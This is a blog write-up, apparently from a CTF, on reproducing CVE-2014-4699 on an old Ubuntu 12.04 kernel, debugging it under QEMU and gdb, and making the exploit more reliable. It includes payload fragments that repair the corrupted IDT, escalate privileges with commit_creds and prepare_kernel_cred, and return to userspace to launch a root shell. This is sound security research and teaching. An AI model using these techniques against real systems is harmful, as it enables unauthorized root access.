Skip to main content

Resurrect an old vulnerability: CVE-2014-4699

With this post I want to accomplish a few objectives:

  • reproduce a vulnerability
  • debug a running kernel
  • improve a proof of concept and make it more reliable

There is also a follow-up post where I fix some issues with the exploit in this post.


This vulnerability of the linux kernel that I encountered partecipating in a CTF is indicated with CVE-2014-4699; in reality it has resurfaced multiple times in multiple OSes during the years.

All starts with the SYSRET instruction and the way is handled by the OS, explained more in detail here,

It has to do with a subtle difference in the way in which Intel processors
implement error handling in their version of AMDs SYSRET instruction. The
SYSRET instruction is part of the x86-64 standard defined by AMD. If an
operating system is written according to AMDs spec, but run on Intel hardware,
the difference in implementation can be exploited by an attacker to write to
arbitrary addresses in the operating systems memory.

in my particular case, I'm interested to the kernel version 3.2.0-23-generic #36 shipped with Ubuntu 12.04; the original writeup of this incarnation is by Vitaly Nikolenko and can be found here.

The quick and dirty way to describe the vulnerability is that allows to write in the kernel memory. The proof of concept in the writeup uses the vulnerability to make the stack register pointing to the IDT entry for the page fault exception and overwrite it (zeroing the upper part of the address). This will make the code land in user space, at the first page fault, in a buffer controlled by the attacker.

Since we are going to encounter it a lot in this post I'm gonna tell you that the interrupt descriptor table is a structure inside the memory of the system where are stored the informations for the processor on what to do when certain exceptions happen; they are identified by indexes inside the table, this is a summary of them

/* Interrupts/Exceptions */
enum {
    X86_TRAP_DE = 0,    /*  0, Divide-by-zero */
    X86_TRAP_DB,        /*  1, Debug */
    X86_TRAP_NMI,        /*  2, Non-maskable Interrupt */
    X86_TRAP_BP,        /*  3, Breakpoint */
    X86_TRAP_OF,        /*  4, Overflow */
    X86_TRAP_BR,        /*  5, Bound Range Exceeded */
    X86_TRAP_UD,        /*  6, Invalid Opcode */
    X86_TRAP_NM,        /*  7, Device Not Available */
    X86_TRAP_DF,        /*  8, Double Fault */
    X86_TRAP_OLD_MF,    /*  9, Coprocessor Segment Overrun */
    X86_TRAP_TS,        /* 10, Invalid TSS */
    X86_TRAP_NP,        /* 11, Segment Not Present */
    X86_TRAP_SS,        /* 12, Stack Segment Fault */
    X86_TRAP_GP,        /* 13, General Protection Fault */
    X86_TRAP_PF,        /* 14, Page Fault */
    X86_TRAP_SPURIOUS,    /* 15, Spurious Interrupt */
    X86_TRAP_MF,        /* 16, x87 Floating-Point Exception */
    X86_TRAP_AC,        /* 17, Alignment Check */
    X86_TRAP_MC,        /* 18, Machine Check */
    X86_TRAP_XF,        /* 19, SIMD Floating-Point Exception */
    X86_TRAP_IRET = 32,    /* 32, IRET Exception */

This is a data structure of x86 architecture and there are native cpu instructions to interact with it. I think that in systems with multiple processors, exist multiple IDTs.

What we are interested in the first part of the post is to replicate the environment in order to test the exploit usually found when you search for that exact CVE.

Install the kernel

I start with the quest of finding the exact kernel that I need: this is an Ubuntu's kernel so I cannot use to obtain the packages but I can use and look for linux-image-3.2.0-23-generic_3.2.0-23.36_amd64.deb. Another option is google the package and found the launchpad page from which a link to the source code is available.

First I try the original kernel:

$ wget
$ dpkg -x linux-image-3.2.0-23-generic_3.2.0-23.36_amd64.deb deb
$ tree -L 2 deb
├── boot
│   ├── abi-3.2.0-23-generic
│   ├── config-3.2.0-23-generic
│   ├──
│   └── vmlinuz-3.2.0-23-generic
├── lib
│   ├── firmware
│   └── modules
└── usr
    └── share
$ md5sum deb/boot/vmlinuz-3.2.0-23-generic 
ec12ab2c89c1420f3362ebba47ddd23b  deb/boot/vmlinuz-3.2.0-23-generic

I'm going to use qemu to virtualize all the way down; in this case I'm using a root filesystem built with buildroot in order to make the system boot quickly

$ qemu-system-x86_64 \
     -hda rootfs.ext2 \
     -m 1024 \
     -enable-kvm \
     -kernel deb/boot/vmlinuz-3.2.0-23-generic \
     -append 'root=/dev/sda \
     console=tty0 console=ttyS0 rw' \
     -net nic,model=virtio -net user,hostfwd=tcp::2222-:22 \
     -serial stdio

The virtual console is redirect to the terminal and the port 2222 is redirect to port 22 on the physical machine so that I can connect with ssh and copy the PoC.

Take in mind that you must have a physical Intel processor in order to see this vulnerability! qemu is unable to simulate it, even if you specify an option for -cpu.

What remains to do is to download the exploit, compile it (statically) and upload it on the box

$ gcc -g -Wall cve.c -o cve -static
$ scp -o StrictHostKeyChecking=no -P 2222 cve root@localhost:/tmp

and finally execute it

# /tmp/cve
IDT addr = 0xffffffffff81dd7000
# [  307.696010] double fault: 0000 [#1] SMP 
[  307.696010] CPU 0 
[  307.696010] Modules linked in:
[  307.696010] 
[  307.696010] Pid: 124, comm: cve Not tainted 3.2.0-23-generic #36-Ubuntu QEMU Standard PC (i440FX + PIIX, 1996)
[  307.696010] RIP: 0010:[<000000008ffffbfe>]  [<000000008ffffbfe>] 0x8ffffbfd
[  307.696010] RSP: 0018:ffffffff81dd7010  EFLAGS: 00010046
[  307.696010] RAX: ffffffff81dd70e8 RBX: 0000000000000001 RCX: ffffffff8165c9ad
[  307.696010] RDX: 00000000ffffffff RSI: 0000000000000000 RDI: ffffffff81dd7078
[  307.696010] RBP: ffffffff81dd7068 R08: 81658e010010cb00 R09: 00000000ffffffff
[  307.696010] R10: 81668e0000106b10 R11: 0000000000000246 R12: ffffffff81dd7078
[  307.696010] R13: 0000000000000000 R14: 81668e0200106a90 R15: 00000000ffffffff
[  307.696010] FS:  0000000001415880(0063) GS:ffff88003fc00000(0000) knlGS:0000000000000000
[  307.696010] CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[  307.696010] CR2: 000000000000c500 CR3: 000000003cdd0000 CR4: 00000000000006f0
[  307.696010] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[  307.696010] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[  307.696010] Process cve (pid: 124, threadinfo ffff88003cdc6000, task ffff88003cf9dbc0)
[  307.696010] Stack:
[  307.696010]  0000000000000000 ffffffff8165d06f 0000000000000010 0000000000010046
[  307.696010]  ffffffff81dd7048 0000000000000018 8166ee0000106a10 00000000ffffffff
[  307.696010]  0000000000000001 81668e0000106ac0 00000000ffffffff 00000000ffffffff
[  307.696010] Call Trace:
[  307.696010] Code:  Bad RIP value.
[  307.696010] RIP  [<000000008ffffbfe>] 0x8ffffbfd
[  307.696010]  RSP <ffffffff81dd7010>
[  307.696010] ---[ end trace 971eb89b5231b79f ]---

Looking at the PoC running under gdb you can see that the address where the instruction pointer (with value 0x000000008ffffbfe) raises a double fault is in our code in userspace!

gef  x/30i tmp - 15
   0x8ffffbf1:  nop
   0x8ffffbf2:  nop
   0x8ffffbf3:  swapgs               <--- tmp - 13
   0x8ffffbf6:  call   0x8ffffc00
   0x8ffffbfb:  swapgs 
   0x8ffffbfe:  iretq                <--- end 2nd memcpy()
   0x8ffffc00:  push   rbp           <--- start payload
   0x8ffffc01:  mov    rbp,rsp
   0x8ffffc04:  sub    rsp,0x20
   0x8ffffc08:  mov    QWORD PTR [rbp-0x8],0xffffffff81dd70e8
   0x8ffffc10:  mov    rax,QWORD PTR [rbp-0x8]
   0x8ffffc14:  mov    DWORD PTR [rax],0xffffffff
   0x8ffffc1a:  mov    QWORD PTR [rbp-0x10],0xffffffff81091630
   0x8ffffc22:  mov    QWORD PTR [rbp-0x18],0xffffffff810918e0
   0x8ffffc2a:  mov    rax,QWORD PTR [rbp-0x18]
   0x8ffffc2e:  mov    edi,0x0
   0x8ffffc33:  call   rax
   0x8ffffc35:  mov    rdx,rax
   0x8ffffc38:  mov    rax,QWORD PTR [rbp-0x10]
   0x8ffffc3c:  mov    rdi,rdx
   0x8ffffc3f:  call   rax
   0x8ffffc41:  nop
   0x8ffffc42:  leave  
   0x8ffffc43:  ret

and the stack pointer is located into the interrupt description table. By the way, this is nothing new, it's explained in the original write up.

As it is, it's useless, we need to safely land in user space and launch something useful to exploit the system.

In order to understand how to fix this we need a kernel with debugging symbols and I gonna compile it from source.

Building a kernel with debugging symbols

Using the links indicated below is possible to download and patch the kernel source code to obtain what is used to generate the package with the kernel in the original ubuntu installation:

$ wget
$ tar zxvf linux_3.2.0.orig.tar.gz
$ wget
$ cd linux-3.2
$ patch -p1 < ../linux_3.2.0-23.36.diff

and now I can try to compile it:

$ fakeroot debian/rules binary-generic
    cc1: error: code model kernel does not support PIC mode

but obviously out of the box is not working: because a kernel intended to build in 2012 doesn't compile in a Debian9 in 2018; lucky us exists Docker

$ docker run -it -v $(pwd):/kernel ubuntu:12.04 /bin/bash
# apt-get update
# apt-get build-dep linux-image-3.2.0-23-generic
# chmod +x debian/rules
# chmod a+x debian/scripts/misc/*
# DEB_BUILD_OPTIONS=parallel=8 AUTOBUILD=1 NOEXTRAS=1 debian/rules binary-generic
dpkg-deb: building package `linux-image-3.2.0-23-generic' in `../linux-image-3.2.0-23-generic_3.2.0-23.36_amd64.deb'
# ls ./debian/linux-image-3.2.0-23-generic/boot  abi-3.2.0-23-generic  config-3.2.0-23-generic  vmlinuz-3.2.0-23-generic

if you want to build a kernel with debugging symbols add skipdbg=false at the end of the target of the debian/rules command. The package pkg-create-dbgsym is needed.

# tree ./debian/linux-image-3.2.0-23-generic-dbgsym/usr/lib/debug/ -L 2
|-- boot
|   `-- vmlinux-3.2.0-23-generic
`-- lib
    `-- modules

3 directories, 1 file

Debug with Qemu

Debugging a OS is different from what you are used when debugging user space programs, it's more similar to debug hardware: you have to connect externally a particular tool and command the device by it.

With qemu you can access the virtual terminal giving from the qemu's monitor (Ctrl-Alt-2) the command sendkey ctrl-alt-f1.

Since I'm using qemu to run the kernel, I can use the following options

  • -s Shorthand for -gdb tcp::1234, i.e. open a gdbserver on TCP port 1234
  • -S Do not start CPU at startup

and start gdb from another terminal and indicate that the target is communicating at port 1234. Inside gdb is possible to use file to load symbols and directory to indicate search paths for source code.

$ gdb -q
gef➤  file ./debian/linux-image-3.2.0-23-generic-dbgsym/usr/lib/debug/boot/vmlinux-3.2.0-23-generic
gef➤  directory ./arch/x86/include/asm/
gef➤  directory ./arch/x86/lib
gef➤  target remote:1234
0x000000000000fff0 in swevent_htable ()
gef➤  print general_protection 
$7 = {<text variable, no debug info>} 0xffffffff8165cba0 <general_protection>
gef➤  c

Now it's possible to start the debugging session. At first I can look at the IDT (this must be done after the initialization of the kernel, so I advice to do that after the booting process is completed):

gef➤  print idt_table
$18 = 0xffffffff81dd7000
gef➤  print &idt_table[257]
$19 = (gate_desc *) 0xffffffff81dd8010 <static_command_line>
gef➤  dump memory /tmp/idt_table.bin 0xffffffff81dd7000 0xffffffff81dd8010

With these commands we have dumped the IDT in a binary file; how you can observe the address of idt_table (the name of the variable in kernel that point to the actual IDT a runtime) coincides with the one that the PoC found previously.

It's also possible to print out idt_table directly from gdb

gef  p *idt_table@256
$12 = { {
    offset_low = 0x69f0, 
    segment = 0x10, 
    ist = 0x0, 
    zero0 = 0x0, 
    type = 0xe, 
    dpl = 0x0, 
    p = 0x1, 
    offset_middle = 0x8166, 
    offset_high = 0xffffffff, 
    zero1 = 0x0
  }, {
  }, {
    offset_low = 0x68f0, 
    segment = 0x10, 
    ist = 0x0, 
    zero0 = 0x0, 
    type = 0xe, 
    dpl = 0x0, 
    p = 0x1, 
    offset_middle = 0x8166, 
    offset_high = 0xffffffff, 
    zero1 = 0x0

If we dump and compare idt_table before and after the exploit has been run we can see the reason of the double fault:

$ vimdiff  <(xxd /tmp/idt_table.bin) <(xxd /tmp/idt_table_trashed.bin)

idt trashing

The lines not black-ish are where the memory is corrupted: we discover that the kernel is not completely crashed only because the double fault handler has not been overwritten; however launching programs like vim it's impossible since they segfault.

If we want to restore the IDT, gdb has a command for it: restore

gef➤  restore /tmp/idt_table.bin binary 0xffffffff81dd7000
Restoring binary file /tmp/idt_table.bin into memory (0xffffffff81dd7000 to 0xffffffff81dd8010)

After that the system seems reliable and exceptions are no more observed (I don't know if before the IDT there is some data structure that has been overwritten and on the long run can affect the stability of the system).

To observe what happen you need to use hardware breakpoints to break the execution where you need to; after that the fundamental operations in gbd are next and step: the former execute the following line of code without entering into subroutines, the latter instead follow them; the assembler correspectives are nexti and stepi.

For example, in our case we can tell gdb to stop where the fault happens

(gdb) hb *0x8165cbd0         # starting payload
Hardware assisted breakpoint 5 at 0x8165cbd0
(gdb) hb *0xffffffff8165d06f # mov    %gs:0xc500,%rbx

0x8165cbd0 is the address of general protection routine, the other is the address where the jump to our payload happens (look at the original writeup if you don't know why).

I think there is some technicality involved since it's not possible to breakpoint directly into userspace

(gdb) hb *0x0000000000400b02
Hardware assisted breakpoint 1 at 0x400b02

but you have to single step from the last instruction in kernel space to the first in our payload.

To better understand the process I created a video

Exploring kernel source code

We have the source code, so let's give a look: since I'm an old school dude I use vim when I have to code and it's pretty easy to look for data structures thanks to ctags; if you run ctags -R . from the root of the source code it generates a tags file that can be indicated to vim using :set tags=/path/to/ctags.

At this point using (inside vim) the command :ts gate_struct64 the editor asks at what definition/declaration you want to jump to and then reaches that destination, in this case arch/x86/include/asm/desc_defs.h at the precise line where the requested struct is defined:

/* 16byte gate */
struct gate_struct64 {
    u16 offset_low;
    u16 segment;
    unsigned ist : 3, zero0 : 5, type : 5, dpl : 2, p : 1;
    u16 offset_middle;
    u32 offset_high;
    u32 zero1;
} __attribute__((packed));
typedef struct gate_struct gate_desc;

If you want to understand how to work the IDT and the exceptions handling you have to look at files like arch/x86/kernel/idt.c end asm/x86/kernel/traps.c.

Improve the exploit

Following the methodology used by fail0verflow to develop a reliable exploit for FreeBSD the missing piece is recreating the IDT messed up by the existing exploit.

Using the definition from the kernel's source code I created a multiline macro in C (I haven't created a function because it has to be called inside the payload and I would have to adjust the calls to it accordingly)

#define set_entry(obj,n,_ist,_dpl,middle,low) ({  \
    obj[n].offset_low = low;            \
    obj[n].segment = 0x10;              \
    obj[n].offset_middle = middle;      \
    obj[n].offset_high = 0xffffffff;    \
    obj[n].ist = _ist;                  \
    obj[n].zero0 = 0x0;                 \
    obj[n].zero1 = 0x0;                 \
    obj[n].dpl = _dpl;                  \
    obj[n].type = 0xe;                  \
    obj[n].p = 0x1;                     \

The macro would be called inside the payload to generate the code necessary to fix the wasted entries of IDT (again, this is not space efficient for the payload but it works)

void __attribute__((regparm(3))) payload() {
    gate_desc* idt_table = (void*)0xffffffff81dd7000;

    set_entry(idt_table,  0, 0x0, 0x0, 0x8166, 0x69f0);
    set_entry(idt_table,  1, 0x4, 0x0, 0x8165, 0xca80);
    set_entry(idt_table,  2, 0x3, 0x0, 0x8165, 0xce90);
    set_entry(idt_table, 17, 0x0, 0x0, 0x8166, 0x6b80);

what follows is the standard way to raise privileges from kernel space with commit_creds() and prepare_kernel_cred()

    commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630;
    prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0;

The epilogue of the function needs a further explanation

        "mov $tf, %rsp;"

For start swapgs is the standard way for the x86_64 architecture to switch memory space from kernelspace to userspace; to continue the execution in userspace the kernel uses the iretq instruction: it pops from the stack the registers rip, cs, the processor flags, the stack pointer and finally the register ss, and continue the execution with those values; building a fake stack we can return to userspace!

To do that I'm using the following struct

struct trap_frame {
    uint64_t eip;    // instruction pointer
    uint64_t cs;     // code segment
    uint64_t eflags; // CPU flags
    uint64_t esp;    // stack pointer
    uint64_t ss;     // stack segment
}__attribute__ (( packed ));

and populating it with the function listed below that has to be called before the triggering of the vulnerability: launch_shell() is simply the code in userspace we want to execute.

struct trap_frame tf;

void prepare_tf ( void ) {
    asm("movq %cs, %rax; pushq %rax;   popq tf+8;"
        "pushfq;     popq tf+16;"
        "pushq %rsp; popq tf+24;"
        "movq %ss, %rax; pushq %rax;  popq tf+32;");
    tf.eip = (uint64_t)&launch_shell;
    tf.esp -= 1024; // unused part of stack

Take in mind that the registers cs and ss cannot be pushed directly into the stack.

If you don't understand what asm() stands for, don't worry, it's black inline-assembly magic by gcc.

Finally I'm going to try my version, take in mind that I'm using a system that is not Ubuntu (this is important for the final of the post): I created a new user named pippo and launched the new exploit

weaponizing all the poc

as you can see someone has raised his privileges :)

Trying in an Ubuntu installation

Now that we have a (hopefully) working exploit, we can try it in the intended target, the first release of Ubuntu 12.04 that can be found at; once downloaded the ISO our dear qemu can be used again

$ qemu-system-x86_64 \
    -hda output/images/rootfs.ext2 \
    -m 2048 \
    -enable-kvm \
    -cdrom ubuntu-12.04-desktop-amd64.iso -net nic,model=virtio \
    -net user,hostfwd=tcp::2222-:22 -serial stdio

Be aware that ssh doesn't work and with less than 2048Mb of memory the proof of concept cannot allocate the buffer for the payload.

With my big surprise the exploit crashes the kernel, without any error message not even a kernel dump! after a little thinking this is obvious: message happens on the virtual console (the terminal that can be accessed with Ctrl+Alt+F1 on a normal Linux installation).

From the virtual console this is what the dump looks like

virtualbox panic

(by the way this is in virtualbox where Host+F1 opens the virtual console). How you can see the exploit has worked but the system crashes in what seems a crash of init.

So it seems that there is a further step to make this exploit reliable in that specific case, but this is (probably) the subject of a future post.


A couple of links without a particular order:

  • kernel exploitation for dummies
  • Phrack: Handling Interrupt Descriptor Table for fun and profit
  • Writing kernel exploits
  • How Endianness Effects Bitfield Packing
  • eudyptula-boot create a replicable kernel environment
  • Understanding a Kernel Oops!
  • Process Management


There are some tricks that I discovered during this exploration

Unzip the kernel

vmlinuz is the zipped version of the kernel, to unzip you have to find the offset of the signature 1f 8b 08 and decompress from that point

$ od -t x1 -A d linux_image/boot/vmlinuz-3.2.0-23-generic | grep "1f 8b 08"
0018016 48 8d 83 50 37 4b 00 ff e0 1f 8b 08 00 00 00 00
$ dd if=linux_image/boot/vmlinuz-3.2.0-23-generic bs=1 skip=0018025 | zcat > vmlinux
4947815+0 record dentro
4947815+0 record fuori
4947815 bytes (4,9 MB, 4,7 MiB) copied, 3,25252 s, 1,5 MB/s

gzip: stdin: decompression OK, trailing garbage ignored
$ file vmlinux
vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=6171fe7a98b41dfbe7ed9afa8b1c033f3acaff9c, stripped


A crazy idea was to create the shellcode from a module so to have access to public available symbols

# dpkg -i ../linux-headers-3.2.0-23-generic_3.2.0-23.36_amd64.deb
# make -C /lib/modules/3.2.0-23-generic/build M=$PWD
make: Entering directory `/usr/src/linux-headers-3.2.0-23-generic'
  CC [M]  /modules/cve-exploit.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /modules/cve-exploit.mod.o
  LD [M]  /modules/cve-exploit.ko
make: Leaving directory `/usr/src/linux-headers-3.2.0-23-generic'

C from binary dump

If you want to create an array of data to use in your C program from a binary dump (like the IDT) you can use the --include option of xxd:

$ xxd --include /tmp/idt_table.bin
unsigned char _tmp_idt_table_bin[] = {
  0xf0, 0x69, 0x10, 0x00, 0x00, 0x8e, 0x66, 0x81, 0xff, 0xff, 0xff, 0xff,
  0x00, 0x00, 0x00, 0x00, 0x80, 0xca, 0x10, 0x00, 0x04, 0x8e, 0x65, 0x81,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x40, 0x89, 0xfa, 0x3f, 0x00, 0x88, 0xff, 0xff
unsigned int _tmp_idt_table_bin_len = 4112;

Raise an exception

Exists an opcode that is used to raise a voluntary exception: ud2, for more information look at kernel newbie page about BUGS().


Comments powered by Disqus